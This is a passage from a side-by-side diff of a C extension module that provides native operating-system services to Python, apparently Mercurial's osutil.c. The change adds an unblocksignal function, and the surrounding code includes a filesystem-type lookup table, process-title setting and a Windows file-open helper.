713 | 714 | char cbuf[256]; |
|
714 | 715 | PyObject *rfdslist = NULL; |
|
715 | 716 | |
|
716 | 717 | if (!PyArg_ParseTuple(args, "i", &sockfd)) |
|
717 | 718 | return NULL; |
|
718 | 719 | |
|
719 | 720 | rfdscount = recvfdstobuf(sockfd, &rfds, cbuf, sizeof(cbuf)); |
|
720 | 721 | if (rfdscount < 0) |
|
721 | 722 | return PyErr_SetFromErrno(PyExc_OSError); |
|
722 | 723 | |
|
723 | 724 | rfdslist = PyList_New(rfdscount); |
|
724 | 725 | if (!rfdslist) |
|
725 | 726 | goto bail; |
|
726 | 727 | for (i = 0; i < rfdscount; i++) { |
|
727 | 728 | PyObject *obj = PyLong_FromLong(rfds[i]); |
|
728 | 729 | if (!obj) |
|
729 | 730 | goto bail; |
|
730 | 731 | PyList_SET_ITEM(rfdslist, i, obj); |
|
731 | 732 | } |
|
732 | 733 | return rfdslist; |
|
733 | 734 | |
|
734 | 735 | bail: |
|
735 | 736 | Py_XDECREF(rfdslist); |
|
736 | 737 | return NULL; |
|
737 | 738 | } |
|
738 | 739 | |
|
739 | 740 | #endif /* CMSG_LEN */ |
|
740 | 741 | |
|
741 | 742 | #if defined(HAVE_SETPROCTITLE) |
|
742 | 743 | /* setproctitle is the first choice - available in FreeBSD */ |
|
743 | 744 | #define SETPROCNAME_USE_SETPROCTITLE |
|
744 | 745 | #elif (defined(__linux__) || defined(__APPLE__)) && PY_MAJOR_VERSION == 2 |
|
745 | 746 | /* rewrite the argv buffer in place - works in Linux and OS X. Py_GetArgcArgv |
|
746 | 747 | * in Python 3 returns the copied wchar_t **argv, thus unsupported. */ |
|
747 | 748 | #define SETPROCNAME_USE_ARGVREWRITE |
|
748 | 749 | #else |
|
749 | 750 | #define SETPROCNAME_USE_NONE |
|
750 | 751 | #endif |
|
751 | 752 | |
|
752 | 753 | #ifndef SETPROCNAME_USE_NONE |
|
753 | 754 | static PyObject *setprocname(PyObject *self, PyObject *args) |
|
754 | 755 | { |
|
755 | 756 | const char *name = NULL; |
|
756 | 757 | if (!PyArg_ParseTuple(args, "s", &name)) |
|
757 | 758 | return NULL; |
|
758 | 759 | |
|
759 | 760 | #if defined(SETPROCNAME_USE_SETPROCTITLE) |
|
760 | 761 | setproctitle("%s", name); |
|
761 | 762 | #elif defined(SETPROCNAME_USE_ARGVREWRITE) |
|
762 | 763 | { |
|
763 | 764 | static char *argvstart = NULL; |
|
764 | 765 | static size_t argvsize = 0; |
|
765 | 766 | if (argvstart == NULL) { |
|
766 | 767 | int argc = 0, i; |
|
767 | 768 | char **argv = NULL; |
|
768 | 769 | char *argvend; |
|
769 | 770 | extern void Py_GetArgcArgv(int *argc, char ***argv); |
|
770 | 771 | Py_GetArgcArgv(&argc, &argv); |
|
771 | 772 | |
|
772 | 773 | /* Check the memory we can use. Typically, argv[i] and |
|
773 | 774 | * argv[i + 1] are continuous. */ |
|
774 | 775 | argvend = argvstart = argv[0]; |
|
775 | 776 | for (i = 0; i < argc; ++i) { |
|
776 | 777 | if (argv[i] > argvend || argv[i] < argvstart) |
|
777 | 778 | break; /* not continuous */ |
|
778 | 779 | size_t len = strlen(argv[i]); |
|
779 | 780 | argvend = argv[i] + len + 1 /* '\0' */; |
|
780 | 781 | } |
|
781 | 782 | if (argvend > argvstart) /* sanity check */ |
|
782 | 783 | argvsize = argvend - argvstart; |
|
783 | 784 | } |
|
784 | 785 | |
|
785 | 786 | if (argvstart && argvsize > 1) { |
|
786 | 787 | int n = snprintf(argvstart, argvsize, "%s", name); |
|
787 | 788 | if (n >= 0 && (size_t)n < argvsize) |
|
788 | 789 | memset(argvstart + n, 0, argvsize - n); |
|
789 | 790 | } |
|
790 | 791 | } |
|
791 | 792 | #endif |
|
792 | 793 | |
|
793 | 794 | Py_RETURN_NONE; |
|
794 | 795 | } |
|
795 | 796 | #endif /* ndef SETPROCNAME_USE_NONE */ |
|
796 | 797 | |
|
797 | 798 | #if defined(HAVE_BSD_STATFS) |
|
798 | 799 | static const char *describefstype(const struct statfs *pbuf) |
|
799 | 800 | { |
|
800 | 801 | /* BSD or OSX provides a f_fstypename field */ |
|
801 | 802 | return pbuf->f_fstypename; |
|
802 | 803 | } |
|
803 | 804 | #elif defined(HAVE_LINUX_STATFS) |
|
804 | 805 | static const char *describefstype(const struct statfs *pbuf) |
|
805 | 806 | { |
|
806 | 807 | /* Begin of Linux filesystems */ |
|
807 | 808 | #ifdef ADFS_SUPER_MAGIC |
|
808 | 809 | if (pbuf->f_type == ADFS_SUPER_MAGIC) |
|
809 | 810 | return "adfs"; |
|
810 | 811 | #endif |
|
811 | 812 | #ifdef AFFS_SUPER_MAGIC |
|
812 | 813 | if (pbuf->f_type == AFFS_SUPER_MAGIC) |
|
813 | 814 | return "affs"; |
|
814 | 815 | #endif |
|
815 | 816 | #ifdef AUTOFS_SUPER_MAGIC |
|
816 | 817 | if (pbuf->f_type == AUTOFS_SUPER_MAGIC) |
|
817 | 818 | return "autofs"; |
|
818 | 819 | #endif |
|
819 | 820 | #ifdef BDEVFS_MAGIC |
|
820 | 821 | if (pbuf->f_type == BDEVFS_MAGIC) |
|
821 | 822 | return "bdevfs"; |
|
822 | 823 | #endif |
|
823 | 824 | #ifdef BEFS_SUPER_MAGIC |
|
824 | 825 | if (pbuf->f_type == BEFS_SUPER_MAGIC) |
|
825 | 826 | return "befs"; |
|
826 | 827 | #endif |
|
827 | 828 | #ifdef BFS_MAGIC |
|
828 | 829 | if (pbuf->f_type == BFS_MAGIC) |
|
829 | 830 | return "bfs"; |
|
830 | 831 | #endif |
|
831 | 832 | #ifdef BINFMTFS_MAGIC |
|
832 | 833 | if (pbuf->f_type == BINFMTFS_MAGIC) |
|
833 | 834 | return "binfmtfs"; |
|
834 | 835 | #endif |
|
835 | 836 | #ifdef BTRFS_SUPER_MAGIC |
|
836 | 837 | if (pbuf->f_type == BTRFS_SUPER_MAGIC) |
|
837 | 838 | return "btrfs"; |
|
838 | 839 | #endif |
|
839 | 840 | #ifdef CGROUP_SUPER_MAGIC |
|
840 | 841 | if (pbuf->f_type == CGROUP_SUPER_MAGIC) |
|
841 | 842 | return "cgroup"; |
|
842 | 843 | #endif |
|
843 | 844 | #ifdef CIFS_MAGIC_NUMBER |
|
844 | 845 | if (pbuf->f_type == CIFS_MAGIC_NUMBER) |
|
845 | 846 | return "cifs"; |
|
846 | 847 | #endif |
|
847 | 848 | #ifdef CODA_SUPER_MAGIC |
|
848 | 849 | if (pbuf->f_type == CODA_SUPER_MAGIC) |
|
849 | 850 | return "coda"; |
|
850 | 851 | #endif |
|
851 | 852 | #ifdef COH_SUPER_MAGIC |
|
852 | 853 | if (pbuf->f_type == COH_SUPER_MAGIC) |
|
853 | 854 | return "coh"; |
|
854 | 855 | #endif |
|
855 | 856 | #ifdef CRAMFS_MAGIC |
|
856 | 857 | if (pbuf->f_type == CRAMFS_MAGIC) |
|
857 | 858 | return "cramfs"; |
|
858 | 859 | #endif |
|
859 | 860 | #ifdef DEBUGFS_MAGIC |
|
860 | 861 | if (pbuf->f_type == DEBUGFS_MAGIC) |
|
861 | 862 | return "debugfs"; |
|
862 | 863 | #endif |
|
863 | 864 | #ifdef DEVFS_SUPER_MAGIC |
|
864 | 865 | if (pbuf->f_type == DEVFS_SUPER_MAGIC) |
|
865 | 866 | return "devfs"; |
|
866 | 867 | #endif |
|
867 | 868 | #ifdef DEVPTS_SUPER_MAGIC |
|
868 | 869 | if (pbuf->f_type == DEVPTS_SUPER_MAGIC) |
|
869 | 870 | return "devpts"; |
|
870 | 871 | #endif |
|
871 | 872 | #ifdef EFIVARFS_MAGIC |
|
872 | 873 | if (pbuf->f_type == EFIVARFS_MAGIC) |
|
873 | 874 | return "efivarfs"; |
|
874 | 875 | #endif |
|
875 | 876 | #ifdef EFS_SUPER_MAGIC |
|
876 | 877 | if (pbuf->f_type == EFS_SUPER_MAGIC) |
|
877 | 878 | return "efs"; |
|
878 | 879 | #endif |
|
879 | 880 | #ifdef EXT_SUPER_MAGIC |
|
880 | 881 | if (pbuf->f_type == EXT_SUPER_MAGIC) |
|
881 | 882 | return "ext"; |
|
882 | 883 | #endif |
|
883 | 884 | #ifdef EXT2_OLD_SUPER_MAGIC |
|
884 | 885 | if (pbuf->f_type == EXT2_OLD_SUPER_MAGIC) |
|
885 | 886 | return "ext2"; |
|
886 | 887 | #endif |
|
887 | 888 | #ifdef EXT2_SUPER_MAGIC |
|
888 | 889 | if (pbuf->f_type == EXT2_SUPER_MAGIC) |
|
889 | 890 | return "ext2"; |
|
890 | 891 | #endif |
|
891 | 892 | #ifdef EXT3_SUPER_MAGIC |
|
892 | 893 | if (pbuf->f_type == EXT3_SUPER_MAGIC) |
|
893 | 894 | return "ext3"; |
|
894 | 895 | #endif |
|
895 | 896 | #ifdef EXT4_SUPER_MAGIC |
|
896 | 897 | if (pbuf->f_type == EXT4_SUPER_MAGIC) |
|
897 | 898 | return "ext4"; |
|
898 | 899 | #endif |
|
899 | 900 | #ifdef F2FS_SUPER_MAGIC |
|
900 | 901 | if (pbuf->f_type == F2FS_SUPER_MAGIC) |
|
901 | 902 | return "f2fs"; |
|
902 | 903 | #endif |
|
903 | 904 | #ifdef FUSE_SUPER_MAGIC |
|
904 | 905 | if (pbuf->f_type == FUSE_SUPER_MAGIC) |
|
905 | 906 | return "fuse"; |
|
906 | 907 | #endif |
|
907 | 908 | #ifdef FUTEXFS_SUPER_MAGIC |
|
908 | 909 | if (pbuf->f_type == FUTEXFS_SUPER_MAGIC) |
|
909 | 910 | return "futexfs"; |
|
910 | 911 | #endif |
|
911 | 912 | #ifdef HFS_SUPER_MAGIC |
|
912 | 913 | if (pbuf->f_type == HFS_SUPER_MAGIC) |
|
913 | 914 | return "hfs"; |
|
914 | 915 | #endif |
|
915 | 916 | #ifdef HOSTFS_SUPER_MAGIC |
|
916 | 917 | if (pbuf->f_type == HOSTFS_SUPER_MAGIC) |
|
917 | 918 | return "hostfs"; |
|
918 | 919 | #endif |
|
919 | 920 | #ifdef HPFS_SUPER_MAGIC |
|
920 | 921 | if (pbuf->f_type == HPFS_SUPER_MAGIC) |
|
921 | 922 | return "hpfs"; |
|
922 | 923 | #endif |
|
923 | 924 | #ifdef HUGETLBFS_MAGIC |
|
924 | 925 | if (pbuf->f_type == HUGETLBFS_MAGIC) |
|
925 | 926 | return "hugetlbfs"; |
|
926 | 927 | #endif |
|
927 | 928 | #ifdef ISOFS_SUPER_MAGIC |
|
928 | 929 | if (pbuf->f_type == ISOFS_SUPER_MAGIC) |
|
929 | 930 | return "isofs"; |
|
930 | 931 | #endif |
|
931 | 932 | #ifdef JFFS2_SUPER_MAGIC |
|
932 | 933 | if (pbuf->f_type == JFFS2_SUPER_MAGIC) |
|
933 | 934 | return "jffs2"; |
|
934 | 935 | #endif |
|
935 | 936 | #ifdef JFS_SUPER_MAGIC |
|
936 | 937 | if (pbuf->f_type == JFS_SUPER_MAGIC) |
|
937 | 938 | return "jfs"; |
|
938 | 939 | #endif |
|
939 | 940 | #ifdef MINIX_SUPER_MAGIC |
|
940 | 941 | if (pbuf->f_type == MINIX_SUPER_MAGIC) |
|
941 | 942 | return "minix"; |
|
942 | 943 | #endif |
|
943 | 944 | #ifdef MINIX2_SUPER_MAGIC |
|
944 | 945 | if (pbuf->f_type == MINIX2_SUPER_MAGIC) |
|
945 | 946 | return "minix2"; |
|
946 | 947 | #endif |
|
947 | 948 | #ifdef MINIX3_SUPER_MAGIC |
|
948 | 949 | if (pbuf->f_type == MINIX3_SUPER_MAGIC) |
|
949 | 950 | return "minix3"; |
|
950 | 951 | #endif |
|
951 | 952 | #ifdef MQUEUE_MAGIC |
|
952 | 953 | if (pbuf->f_type == MQUEUE_MAGIC) |
|
953 | 954 | return "mqueue"; |
|
954 | 955 | #endif |
|
955 | 956 | #ifdef MSDOS_SUPER_MAGIC |
|
956 | 957 | if (pbuf->f_type == MSDOS_SUPER_MAGIC) |
|
957 | 958 | return "msdos"; |
|
958 | 959 | #endif |
|
959 | 960 | #ifdef NCP_SUPER_MAGIC |
|
960 | 961 | if (pbuf->f_type == NCP_SUPER_MAGIC) |
|
961 | 962 | return "ncp"; |
|
962 | 963 | #endif |
|
963 | 964 | #ifdef NFS_SUPER_MAGIC |
|
964 | 965 | if (pbuf->f_type == NFS_SUPER_MAGIC) |
|
965 | 966 | return "nfs"; |
|
966 | 967 | #endif |
|
967 | 968 | #ifdef NILFS_SUPER_MAGIC |
|
968 | 969 | if (pbuf->f_type == NILFS_SUPER_MAGIC) |
|
969 | 970 | return "nilfs"; |
|
970 | 971 | #endif |
|
971 | 972 | #ifdef NTFS_SB_MAGIC |
|
972 | 973 | if (pbuf->f_type == NTFS_SB_MAGIC) |
|
973 | 974 | return "ntfs-sb"; |
|
974 | 975 | #endif |
|
975 | 976 | #ifdef OCFS2_SUPER_MAGIC |
|
976 | 977 | if (pbuf->f_type == OCFS2_SUPER_MAGIC) |
|
977 | 978 | return "ocfs2"; |
|
978 | 979 | #endif |
|
979 | 980 | #ifdef OPENPROM_SUPER_MAGIC |
|
980 | 981 | if (pbuf->f_type == OPENPROM_SUPER_MAGIC) |
|
981 | 982 | return "openprom"; |
|
982 | 983 | #endif |
|
983 | 984 | #ifdef OVERLAYFS_SUPER_MAGIC |
|
984 | 985 | if (pbuf->f_type == OVERLAYFS_SUPER_MAGIC) |
|
985 | 986 | return "overlay"; |
|
986 | 987 | #endif |
|
987 | 988 | #ifdef PIPEFS_MAGIC |
|
988 | 989 | if (pbuf->f_type == PIPEFS_MAGIC) |
|
989 | 990 | return "pipefs"; |
|
990 | 991 | #endif |
|
991 | 992 | #ifdef PROC_SUPER_MAGIC |
|
992 | 993 | if (pbuf->f_type == PROC_SUPER_MAGIC) |
|
993 | 994 | return "proc"; |
|
994 | 995 | #endif |
|
995 | 996 | #ifdef PSTOREFS_MAGIC |
|
996 | 997 | if (pbuf->f_type == PSTOREFS_MAGIC) |
|
997 | 998 | return "pstorefs"; |
|
998 | 999 | #endif |
|
999 | 1000 | #ifdef QNX4_SUPER_MAGIC |
|
1000 | 1001 | if (pbuf->f_type == QNX4_SUPER_MAGIC) |
|
1001 | 1002 | return "qnx4"; |
|
1002 | 1003 | #endif |
|
1003 | 1004 | #ifdef QNX6_SUPER_MAGIC |
|
1004 | 1005 | if (pbuf->f_type == QNX6_SUPER_MAGIC) |
|
1005 | 1006 | return "qnx6"; |
|
1006 | 1007 | #endif |
|
1007 | 1008 | #ifdef RAMFS_MAGIC |
|
1008 | 1009 | if (pbuf->f_type == RAMFS_MAGIC) |
|
1009 | 1010 | return "ramfs"; |
|
1010 | 1011 | #endif |
|
1011 | 1012 | #ifdef REISERFS_SUPER_MAGIC |
|
1012 | 1013 | if (pbuf->f_type == REISERFS_SUPER_MAGIC) |
|
1013 | 1014 | return "reiserfs"; |
|
1014 | 1015 | #endif |
|
1015 | 1016 | #ifdef ROMFS_MAGIC |
|
1016 | 1017 | if (pbuf->f_type == ROMFS_MAGIC) |
|
1017 | 1018 | return "romfs"; |
|
1018 | 1019 | #endif |
|
1019 | 1020 | #ifdef SECURITYFS_MAGIC |
|
1020 | 1021 | if (pbuf->f_type == SECURITYFS_MAGIC) |
|
1021 | 1022 | return "securityfs"; |
|
1022 | 1023 | #endif |
|
1023 | 1024 | #ifdef SELINUX_MAGIC |
|
1024 | 1025 | if (pbuf->f_type == SELINUX_MAGIC) |
|
1025 | 1026 | return "selinux"; |
|
1026 | 1027 | #endif |
|
1027 | 1028 | #ifdef SMACK_MAGIC |
|
1028 | 1029 | if (pbuf->f_type == SMACK_MAGIC) |
|
1029 | 1030 | return "smack"; |
|
1030 | 1031 | #endif |
|
1031 | 1032 | #ifdef SMB_SUPER_MAGIC |
|
1032 | 1033 | if (pbuf->f_type == SMB_SUPER_MAGIC) |
|
1033 | 1034 | return "smb"; |
|
1034 | 1035 | #endif |
|
1035 | 1036 | #ifdef SOCKFS_MAGIC |
|
1036 | 1037 | if (pbuf->f_type == SOCKFS_MAGIC) |
|
1037 | 1038 | return "sockfs"; |
|
1038 | 1039 | #endif |
|
1039 | 1040 | #ifdef SQUASHFS_MAGIC |
|
1040 | 1041 | if (pbuf->f_type == SQUASHFS_MAGIC) |
|
1041 | 1042 | return "squashfs"; |
|
1042 | 1043 | #endif |
|
1043 | 1044 | #ifdef SYSFS_MAGIC |
|
1044 | 1045 | if (pbuf->f_type == SYSFS_MAGIC) |
|
1045 | 1046 | return "sysfs"; |
|
1046 | 1047 | #endif |
|
1047 | 1048 | #ifdef SYSV2_SUPER_MAGIC |
|
1048 | 1049 | if (pbuf->f_type == SYSV2_SUPER_MAGIC) |
|
1049 | 1050 | return "sysv2"; |
|
1050 | 1051 | #endif |
|
1051 | 1052 | #ifdef SYSV4_SUPER_MAGIC |
|
1052 | 1053 | if (pbuf->f_type == SYSV4_SUPER_MAGIC) |
|
1053 | 1054 | return "sysv4"; |
|
1054 | 1055 | #endif |
|
1055 | 1056 | #ifdef TMPFS_MAGIC |
|
1056 | 1057 | if (pbuf->f_type == TMPFS_MAGIC) |
|
1057 | 1058 | return "tmpfs"; |
|
1058 | 1059 | #endif |
|
1059 | 1060 | #ifdef UDF_SUPER_MAGIC |
|
1060 | 1061 | if (pbuf->f_type == UDF_SUPER_MAGIC) |
|
1061 | 1062 | return "udf"; |
|
1062 | 1063 | #endif |
|
1063 | 1064 | #ifdef UFS_MAGIC |
|
1064 | 1065 | if (pbuf->f_type == UFS_MAGIC) |
|
1065 | 1066 | return "ufs"; |
|
1066 | 1067 | #endif |
|
1067 | 1068 | #ifdef USBDEVICE_SUPER_MAGIC |
|
1068 | 1069 | if (pbuf->f_type == USBDEVICE_SUPER_MAGIC) |
|
1069 | 1070 | return "usbdevice"; |
|
1070 | 1071 | #endif |
|
1071 | 1072 | #ifdef V9FS_MAGIC |
|
1072 | 1073 | if (pbuf->f_type == V9FS_MAGIC) |
|
1073 | 1074 | return "v9fs"; |
|
1074 | 1075 | #endif |
|
1075 | 1076 | #ifdef VXFS_SUPER_MAGIC |
|
1076 | 1077 | if (pbuf->f_type == VXFS_SUPER_MAGIC) |
|
1077 | 1078 | return "vxfs"; |
|
1078 | 1079 | #endif |
|
1079 | 1080 | #ifdef XENFS_SUPER_MAGIC |
|
1080 | 1081 | if (pbuf->f_type == XENFS_SUPER_MAGIC) |
|
1081 | 1082 | return "xenfs"; |
|
1082 | 1083 | #endif |
|
1083 | 1084 | #ifdef XENIX_SUPER_MAGIC |
|
1084 | 1085 | if (pbuf->f_type == XENIX_SUPER_MAGIC) |
|
1085 | 1086 | return "xenix"; |
|
1086 | 1087 | #endif |
|
1087 | 1088 | #ifdef XFS_SUPER_MAGIC |
|
1088 | 1089 | if (pbuf->f_type == XFS_SUPER_MAGIC) |
|
1089 | 1090 | return "xfs"; |
|
1090 | 1091 | #endif |
|
1091 | 1092 | /* End of Linux filesystems */ |
|
1092 | 1093 | return NULL; |
|
1093 | 1094 | } |
|
1094 | 1095 | #endif /* def HAVE_LINUX_STATFS */ |
|
1095 | 1096 | |
|
1096 | 1097 | #if defined(HAVE_BSD_STATFS) || defined(HAVE_LINUX_STATFS) |
|
1097 | 1098 | /* given a directory path, return filesystem type name (best-effort) */ |
|
1098 | 1099 | static PyObject *getfstype(PyObject *self, PyObject *args) |
|
1099 | 1100 | { |
|
1100 | 1101 | const char *path = NULL; |
|
1101 | 1102 | struct statfs buf; |
|
1102 | 1103 | int r; |
|
1103 | 1104 | if (!PyArg_ParseTuple(args, "s", &path)) |
|
1104 | 1105 | return NULL; |
|
1105 | 1106 | |
|
1106 | 1107 | memset(&buf, 0, sizeof(buf)); |
|
1107 | 1108 | r = statfs(path, &buf); |
|
1108 | 1109 | if (r != 0) |
|
1109 | 1110 | return PyErr_SetFromErrno(PyExc_OSError); |
|
1110 | 1111 | return Py_BuildValue("s", describefstype(&buf)); |
|
1111 | 1112 | } |
|
1112 | 1113 | #endif /* defined(HAVE_LINUX_STATFS) || defined(HAVE_BSD_STATFS) */ |
|
1113 | 1114 | |
|
1115 | static PyObject *unblocksignal(PyObject *self, PyObject *args) | |
|
1116 | { | |
|
1117 | int sig = 0; | |
|
1118 | int r; | |
|
1119 | if (!PyArg_ParseTuple(args, "i", &sig)) | |
|
1120 | return NULL; | |
|
1121 | sigset_t set; | |
|
1122 | r = sigemptyset(&set); | |
|
1123 | if (r != 0) | |
|
1124 | return PyErr_SetFromErrno(PyExc_OSError); | |
|
1125 | r = sigaddset(&set, sig); | |
|
1126 | if (r != 0) | |
|
1127 | return PyErr_SetFromErrno(PyExc_OSError); | |
|
1128 | r = sigprocmask(SIG_UNBLOCK, &set, NULL); | |
|
1129 | if (r != 0) | |
|
1130 | return PyErr_SetFromErrno(PyExc_OSError); | |
|
1131 | Py_RETURN_NONE; | |
|
1132 | } | |
|
1133 | ||
|
1114 | 1134 | #endif /* ndef _WIN32 */ |
|
1115 | 1135 | |
|
1116 | 1136 | static PyObject *listdir(PyObject *self, PyObject *args, PyObject *kwargs) |
|
1117 | 1137 | { |
|
1118 | 1138 | PyObject *statobj = NULL; /* initialize - optional arg */ |
|
1119 | 1139 | PyObject *skipobj = NULL; /* initialize - optional arg */ |
|
1120 | 1140 | char *path, *skip = NULL; |
|
1121 | 1141 | int wantstat, plen; |
|
1122 | 1142 | |
|
1123 | 1143 | static char *kwlist[] = {"path", "stat", "skip", NULL}; |
|
1124 | 1144 | |
|
1125 | 1145 | if (!PyArg_ParseTupleAndKeywords(args, kwargs, "s#|OO:listdir", |
|
1126 | 1146 | kwlist, &path, &plen, &statobj, &skipobj)) |
|
1127 | 1147 | return NULL; |
|
1128 | 1148 | |
|
1129 | 1149 | wantstat = statobj && PyObject_IsTrue(statobj); |
|
1130 | 1150 | |
|
1131 | 1151 | if (skipobj && skipobj != Py_None) { |
|
1132 | 1152 | skip = PyBytes_AsString(skipobj); |
|
1133 | 1153 | if (!skip) |
|
1134 | 1154 | return NULL; |
|
1135 | 1155 | } |
|
1136 | 1156 | |
|
1137 | 1157 | return _listdir(path, plen, wantstat, skip); |
|
1138 | 1158 | } |
|
1139 | 1159 | |
|
1140 | 1160 | #ifdef _WIN32 |
|
1141 | 1161 | static PyObject *posixfile(PyObject *self, PyObject *args, PyObject *kwds) |
|
1142 | 1162 | { |
|
1143 | 1163 | static char *kwlist[] = {"name", "mode", "buffering", NULL}; |
|
1144 | 1164 | PyObject *file_obj = NULL; |
|
1145 | 1165 | char *name = NULL; |
|
1146 | 1166 | char *mode = "rb"; |
|
1147 | 1167 | DWORD access = 0; |
|
1148 | 1168 | DWORD creation; |
|
1149 | 1169 | HANDLE handle; |
|
1150 | 1170 | int fd, flags = 0; |
|
1151 | 1171 | int bufsize = -1; |
|
1152 | 1172 | char m0, m1, m2; |
|
1153 | 1173 | char fpmode[4]; |
|
1154 | 1174 | int fppos = 0; |
|
1155 | 1175 | int plus; |
|
1156 | 1176 | FILE *fp; |
|
1157 | 1177 | |
|
1158 | 1178 | if (!PyArg_ParseTupleAndKeywords(args, kwds, "et|si:posixfile", kwlist, |
|
1159 | 1179 | Py_FileSystemDefaultEncoding, |
|
1160 | 1180 | &name, &mode, &bufsize)) |
|
1161 | 1181 | return NULL; |
|
1162 | 1182 | |
|
1163 | 1183 | m0 = mode[0]; |
|
1164 | 1184 | m1 = m0 ? mode[1] : '\0'; |
|
1165 | 1185 | m2 = m1 ? mode[2] : '\0'; |
|
1166 | 1186 | plus = m1 == '+' || m2 == '+'; |
|
1167 | 1187 | |
|
1168 | 1188 | fpmode[fppos++] = m0; |
|
1169 | 1189 | if (m1 == 'b' || m2 == 'b') { |
|
1170 | 1190 | flags = _O_BINARY; |
|
1171 | 1191 | fpmode[fppos++] = 'b'; |
|
1172 | 1192 | } |
|
1173 | 1193 | else |
|
1174 | 1194 | flags = _O_TEXT; |
|
1175 | 1195 | if (m0 == 'r' && !plus) { |
|
1176 | 1196 | flags |= _O_RDONLY; |
|
1177 | 1197 | access = GENERIC_READ; |
|
1178 | 1198 | } else { |
|
1179 | 1199 | /* |
|
1180 | 1200 | work around http://support.microsoft.com/kb/899149 and |
|
1181 | 1201 | set _O_RDWR for 'w' and 'a', even if mode has no '+' |
|
1182 | 1202 | */ |
|
1183 | 1203 | flags |= _O_RDWR; |
|
1184 | 1204 | access = GENERIC_READ | GENERIC_WRITE; |
|
1185 | 1205 | fpmode[fppos++] = '+'; |
|
1186 | 1206 | } |
|
1187 | 1207 | fpmode[fppos++] = '\0'; |
|
1188 | 1208 | |
|
1189 | 1209 | switch (m0) { |
|
1190 | 1210 | case 'r': |
|
1191 | 1211 | creation = OPEN_EXISTING; |
|
1192 | 1212 | break; |
|
1193 | 1213 | case 'w': |
|
1194 | 1214 | creation = CREATE_ALWAYS; |
|
1195 | 1215 | break; |
|
1196 | 1216 | case 'a': |
|
1197 | 1217 | creation = OPEN_ALWAYS; |
|
1198 | 1218 | flags |= _O_APPEND; |
|
1199 | 1219 | break; |
|
1200 | 1220 | default: |
|
1201 | 1221 | PyErr_Format(PyExc_ValueError, |
|
1202 | 1222 | "mode string must begin with one of 'r', 'w', " |
|
1203 | 1223 | "or 'a', not '%c'", m0); |
|
1204 | 1224 | goto bail; |
|
1205 | 1225 | } |
|
1206 | 1226 | |
|
1207 | 1227 | handle = CreateFile(name, access, |
|
1208 | 1228 | FILE_SHARE_READ | FILE_SHARE_WRITE | |
|
1209 | 1229 | FILE_SHARE_DELETE, |
|
1210 | 1230 | NULL, |
|
1211 | 1231 | creation, |
|
1212 | 1232 | FILE_ATTRIBUTE_NORMAL, |
|
1213 | 1233 | 0); |
|
1214 | 1234 | |
|
1215 | 1235 | if (handle == INVALID_HANDLE_VALUE) { |
|
1216 | 1236 | PyErr_SetFromWindowsErrWithFilename(GetLastError(), name); |
|
1217 | 1237 | goto bail; |
|
1218 | 1238 | } |
|
1219 | 1239 | |
|
1220 | 1240 | fd = _open_osfhandle((intptr_t)handle, flags); |
|
1221 | 1241 | |
|
1222 | 1242 | if (fd == -1) { |
|
1223 | 1243 | CloseHandle(handle); |
|
1224 | 1244 | PyErr_SetFromErrnoWithFilename(PyExc_IOError, name); |
|
1225 | 1245 | goto bail; |
|
1226 | 1246 | } |
|
1227 | 1247 | #ifndef IS_PY3K |
|
1228 | 1248 | fp = _fdopen(fd, fpmode); |
|
1229 | 1249 | if (fp == NULL) { |
|
1230 | 1250 | _close(fd); |
|
1231 | 1251 | PyErr_SetFromErrnoWithFilename(PyExc_IOError, name); |
|
1232 | 1252 | goto bail; |
|
1233 | 1253 | } |
|
1234 | 1254 | |
|
1235 | 1255 | file_obj = PyFile_FromFile(fp, name, mode, fclose); |
|
1236 | 1256 | if (file_obj == NULL) { |
|
1237 | 1257 | fclose(fp); |
|
1238 | 1258 | goto bail; |
|
1239 | 1259 | } |
|
1240 | 1260 | |
|
1241 | 1261 | PyFile_SetBufSize(file_obj, bufsize); |
|
1242 | 1262 | #else |
|
1243 | 1263 | file_obj = PyFile_FromFd(fd, name, mode, bufsize, NULL, NULL, NULL, 1); |
|
1244 | 1264 | if (file_obj == NULL) |
|
1245 | 1265 | goto bail; |
|
1246 | 1266 | #endif |
|
1247 | 1267 | bail: |
|
1248 | 1268 | PyMem_Free(name); |
|
1249 | 1269 | return file_obj; |
|
1250 | 1270 | } |
|
1251 | 1271 | #endif |
|
1252 | 1272 | |
|
1253 | 1273 | #ifdef __APPLE__ |
|
1254 | 1274 | #include <ApplicationServices/ApplicationServices.h> |
|
1255 | 1275 | |
|
1256 | 1276 | static PyObject *isgui(PyObject *self) |
|
1257 | 1277 | { |
|
1258 | 1278 | CFDictionaryRef dict = CGSessionCopyCurrentDictionary(); |
|
1259 | 1279 | |
|
1260 | 1280 | if (dict != NULL) { |
|
1261 | 1281 | CFRelease(dict); |
|
1262 | 1282 | Py_RETURN_TRUE; |
|
1263 | 1283 | } else { |
|
1264 | 1284 | Py_RETURN_FALSE; |
|
1265 | 1285 | } |
|
1266 | 1286 | } |
|
1267 | 1287 | #endif |
|
1268 | 1288 | |
|
1269 | 1289 | static char osutil_doc[] = "Native operating system services."; |
|
1270 | 1290 | |
|
1271 | 1291 | static PyMethodDef methods[] = { |
|
1272 | 1292 | {"listdir", (PyCFunction)listdir, METH_VARARGS | METH_KEYWORDS, |
|
1273 | 1293 | "list a directory\n"}, |
|
1274 | 1294 | #ifdef _WIN32 |
|
1275 | 1295 | {"posixfile", (PyCFunction)posixfile, METH_VARARGS | METH_KEYWORDS, |
|
1276 | 1296 | "Open a file with POSIX-like semantics.\n" |
|
1277 | 1297 | "On error, this function may raise either a WindowsError or an IOError."}, |
|
1278 | 1298 | #else |
|
1279 | 1299 | {"statfiles", (PyCFunction)statfiles, METH_VARARGS | METH_KEYWORDS, |
|
1280 | 1300 | "stat a series of files or symlinks\n" |
|
1281 | 1301 | "Returns None for non-existent entries and entries of other types.\n"}, |
|
1282 | 1302 | #ifdef CMSG_LEN |
|
1283 | 1303 | {"recvfds", (PyCFunction)recvfds, METH_VARARGS, |
|
1284 | 1304 | "receive list of file descriptors via socket\n"}, |
|
1285 | 1305 | #endif |
|
1286 | 1306 | #ifndef SETPROCNAME_USE_NONE |
|
1287 | 1307 | {"setprocname", (PyCFunction)setprocname, METH_VARARGS, |
|
1288 | 1308 | "set process title (best-effort)\n"}, |
|
1289 | 1309 | #endif |
|
1290 | 1310 | #if defined(HAVE_BSD_STATFS) || defined(HAVE_LINUX_STATFS) |
|
1291 | 1311 | {"getfstype", (PyCFunction)getfstype, METH_VARARGS, |
|
1292 | 1312 | "get filesystem type (best-effort)\n"}, |
|
1293 | 1313 | #endif |
|
